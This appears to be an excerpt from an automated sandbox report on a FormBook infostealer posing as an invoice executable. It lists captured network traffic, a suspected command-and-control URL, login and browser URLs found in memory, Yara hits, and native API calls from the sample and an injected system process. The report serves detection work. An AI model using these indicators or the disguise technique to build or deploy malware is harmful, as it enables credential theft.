1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 21 Jan 2025 12:27:01 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 21 Jan 2025 12:27:03 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 21 Jan 2025 12:27:07 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 52 4b 8f d3 30 10 be f7 57 0c 41 a2 17 12 b7 74 0f 7d 24 7b a0 ad c4 4a 65 59 41 78 1d 8d 33 6d 2c 39 b6 6b 8f fb d8 5f 8f 93 6e 0a 8b 56 9c 3c b6 be d7 78 26 7f b5 fa b4 2c 7f 3e ac a1 a6 46 c1 c3 d7 f7 9b bb 25 24 29 63 df 27 4b c6 56 e5 0a 7e 7c 28 3f 6e 60 9c 8d a0 74 5c 7b 49 d2 68 ae 18 5b df 27 83 a4 26 b2 73 c6 8e c7 63 76 9c 64 c6 ed 58 f9 99 9d 5a ad 71 4b 7e 2a 53 fa 8b 99 55 54 25 b7 83 bc 33 54 5c ef 8a 04 75 02 a7 46 cd 9f dd b4 2f 5e 90 1f cf 66 b3 8b 6a d4 80 bc 46 5e c5 13 72 92 a4 b0 ad 60 ed 9c 71 70 33 ba 81 14 ee 0d c1 d6 04 5d b5 10 76 c5 e4 0d 12 07 61 34 a1 a6 22 21 3c 11 6b e3 2c 40 d4 dc 79 a4 22 d0 36 9d 26 f1 53 c8 a6 b8 0f f2 50 24 cb 0b 3c 2d cf 16 5b 6f f8 47 45 9b 54 70 51 e3 73 56 f7 94 b6 56 ce a8 2e 32 7b ca 9c ff 32 d5 19 3c 9d 15 16 c9 36 02 d2 2d 6f a4 3a cf b9 93 5c 2d 2e 16 f5 b8 47 08 a3 8c 9b bf 1e f1 c9 bb a9 58 74 78 2f 1f 71 1e 07 83 cd 05 fd 9f d6 eb 71 97 d8 f6 6a 7f f8 a3 6c 7a e5 6f 10 b6 52 d4 12 1d b8 b6 6b 0f 7a c8 c1 72 0f 6f 90 8b 40 b8 a0 be 80 d8 4f 38 f4 b7 6c 70 a7 c0 62 20 f0 43 be 93 0e aa 61 d0 08 e8 1c 06 07 84 a2 d6 72 1f 30 83 6f 18 a4 52 f8 08 ae a7 a2 f7 fc 1c 0d 83 ba 6a 3b 19 59 d8 c4 d9 64 f0 45 c2 c1 84 18 04 c1 46 c3 c8 6c e3 70 21 7a 7e 15 b9 3c 5c 73 73 1b 95 77 8e 1f 70 e1 c1 aa e0 5b 2d 1f 23 68 e2 24 0f e8 df 82 40 c5 c1 cb 9d 96 5b 89 b0 0f 43 a9 80 bf d0 a1 0f d6 3a d9 f4 46 59 b7 43 36 fe 63 ce da d1 c5 15 ee 96 e6 76 f0 1b 11 e8 b3 c9 45 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 1ee}RK0WAt}${JeYAx3m,9k_nV<x&,>F%$)c'KV~\|(?n`t\{Ih['&scvdXZqK~*SUT%3T\uF/^fjF^r`qp3]va4"!<k,@y"6&SP$<-[oGETpQsVV.2{2<6-o:\-.GXtx/qqjlzoRkzro@O8lpb Car0oRj;YdEFlp!z~<\sswp[-#h$@[C:FYC6cvE0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 837Connection: closeDate: Tue, 21 Jan 2025 12:27:09 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 4c 65 20 66 69 63 68 69 65 72 20 72 65 71 75 69 73 20 6e 27 61 20 70 61 73 20 26 65 61 63 75 74 65 3b 74 26 65 61 63 75 74 65 3b 20 74 72 6f 75 76 26 65 61 63 75 74 65 3b 2e 0a 49 6c 20 70 65 75 74 20 73 27 61 67 69 72 20 64 27 75 6e 65 20 65 72 72 65 75 72 20 74 65 63 68 6e 69 71 75 65 2e 20 56 65 75 69 6c 6c 65 7a 20 72 26 65 61 63 75 74 65 3b 65 73 73 61 79 65 72 20 75 6c 74 26 65 61 63 75 74 65 3b 72 69 65 75 72 65 6d 65 6e 74 2e 20 53 69 20 76 6f 75 73 20 6e 65 20 70 6f 75 76 65 7a 20 70 61 73 20 61 63 63 26 65 61 63 75 74 65 3b 64 65 72 20 61 75 20 66 69 63 68 69 65 72 20 61 70 72 26 65 67 72 61 76 65 3b 73 20 70 6c 75 73 69 65 75 72 73 20 74 65 6e 74 61 74 69 76 65 73 2c 20 63 65 6c 61 20 73 69 67 6e 69 66 69 65 20 71 75 27 69 6c 20 61 20 26 65 61 63 75 74 65 3b 74 26 65 61 63 75 74 65 3b 20 73 75 70 70 72 69 6d 26 65 61 63 75 74 65 3b 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta c

Source: 2zqVCuEmR.exe, 00000007.00000002.2645828359.0000000004D8C000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.corellia.pro
Source: 2zqVCuEmR.exe, 00000007.00000002.2645828359.0000000004D8C000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.corellia.pro/eee1/
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: secinit.exe, 00000006.00000003.1943079432.0000000007AFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: secinit.exe, 00000006.00000002.2641601175.0000000002CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: secinit.exe, 00000006.00000003.1948300259.0000000007BC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 3.2.INVOICE, PACKING LIST, COPY BL.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.INVOICE, PACKING LIST, COPY BL.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1753952129.0000000003750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2643396170.00000000030B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1752858443.00000000014E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1752372159.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2643246476.0000000003060000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2641361851.0000000002AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2643029007.0000000004E20000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2645828359.0000000004D20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: INVOICE, PACKING LIST, COPY BL.exe

Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_0042CB93 NtClose,	3_2_0042CB93
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672B60 NtClose,LdrInitializeThunk,	3_2_01672B60
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_01672DF0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_01672C70
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016735C0 NtCreateMutant,LdrInitializeThunk,	3_2_016735C0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01674340 NtSetContextThread,	3_2_01674340
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01674650 NtSuspendThread,	3_2_01674650
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672BE0 NtQueryValueKey,	3_2_01672BE0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672BF0 NtAllocateVirtualMemory,	3_2_01672BF0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672BA0 NtEnumerateValueKey,	3_2_01672BA0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672B80 NtQueryInformationFile,	3_2_01672B80
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672AF0 NtWriteFile,	3_2_01672AF0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672AD0 NtReadFile,	3_2_01672AD0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672AB0 NtWaitForSingleObject,	3_2_01672AB0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672D30 NtUnmapViewOfSection,	3_2_01672D30
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672D00 NtSetInformationFile,	3_2_01672D00
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672D10 NtMapViewOfSection,	3_2_01672D10
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672DD0 NtDelayExecution,	3_2_01672DD0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672DB0 NtEnumerateKey,	3_2_01672DB0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672C60 NtCreateKey,	3_2_01672C60
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672C00 NtQueryInformationProcess,	3_2_01672C00
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672CF0 NtOpenProcess,	3_2_01672CF0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672CC0 NtQueryVirtualMemory,	3_2_01672CC0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672CA0 NtQueryInformationToken,	3_2_01672CA0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672F60 NtCreateProcessEx,	3_2_01672F60
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672F30 NtCreateSection,	3_2_01672F30
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672FE0 NtCreateFile,	3_2_01672FE0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672FA0 NtQuerySection,	3_2_01672FA0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672FB0 NtResumeThread,	3_2_01672FB0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672F90 NtProtectVirtualMemory,	3_2_01672F90
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672E30 NtWriteVirtualMemory,	3_2_01672E30
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672EE0 NtQueueApcThread,	3_2_01672EE0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672EA0 NtAdjustPrivilegesToken,	3_2_01672EA0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01672E80 NtReadVirtualMemory,	3_2_01672E80
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01673010 NtOpenDirectoryObject,	3_2_01673010
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01673090 NtSetValueKey,	3_2_01673090
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_016739B0 NtGetContextThread,	3_2_016739B0
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01673D70 NtOpenThread,	3_2_01673D70
Source: C:\Users\user\Desktop\INVOICE, PACKING LIST, COPY BL.exe	Code function: 3_2_01673D10 NtOpenProcessToken,	3_2_01673D10
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03284340 NtSetContextThread,LdrInitializeThunk,	6_2_03284340
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03284650 NtSuspendThread,LdrInitializeThunk,	6_2_03284650
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282B60 NtClose,LdrInitializeThunk,	6_2_03282B60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_03282BA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_03282BE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_03282BF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282AF0 NtWriteFile,LdrInitializeThunk,	6_2_03282AF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282AD0 NtReadFile,LdrInitializeThunk,	6_2_03282AD0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282F30 NtCreateSection,LdrInitializeThunk,	6_2_03282F30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282FB0 NtResumeThread,LdrInitializeThunk,	6_2_03282FB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282FE0 NtCreateFile,LdrInitializeThunk,	6_2_03282FE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_03282E80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_03282EE0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_03282D30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_03282D10
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_03282DF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282DD0 NtDelayExecution,LdrInitializeThunk,	6_2_03282DD0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282C60 NtCreateKey,LdrInitializeThunk,	6_2_03282C60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_03282C70
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_03282CA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032835C0 NtCreateMutant,LdrInitializeThunk,	6_2_032835C0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_032839B0 NtGetContextThread,LdrInitializeThunk,	6_2_032839B0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282B80 NtQueryInformationFile,	6_2_03282B80
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282AB0 NtWaitForSingleObject,	6_2_03282AB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282F60 NtCreateProcessEx,	6_2_03282F60
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282FA0 NtQuerySection,	6_2_03282FA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282F90 NtProtectVirtualMemory,	6_2_03282F90
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282E30 NtWriteVirtualMemory,	6_2_03282E30
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282EA0 NtAdjustPrivilegesToken,	6_2_03282EA0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282D00 NtSetInformationFile,	6_2_03282D00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282DB0 NtEnumerateKey,	6_2_03282DB0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282C00 NtQueryInformationProcess,	6_2_03282C00
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282CF0 NtOpenProcess,	6_2_03282CF0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03282CC0 NtQueryVirtualMemory,	6_2_03282CC0
Source: C:\Windows\SysWOW64\secinit.exe	Code function: 6_2_03283010 NtOpenDirectoryObject,	6_2_03283010
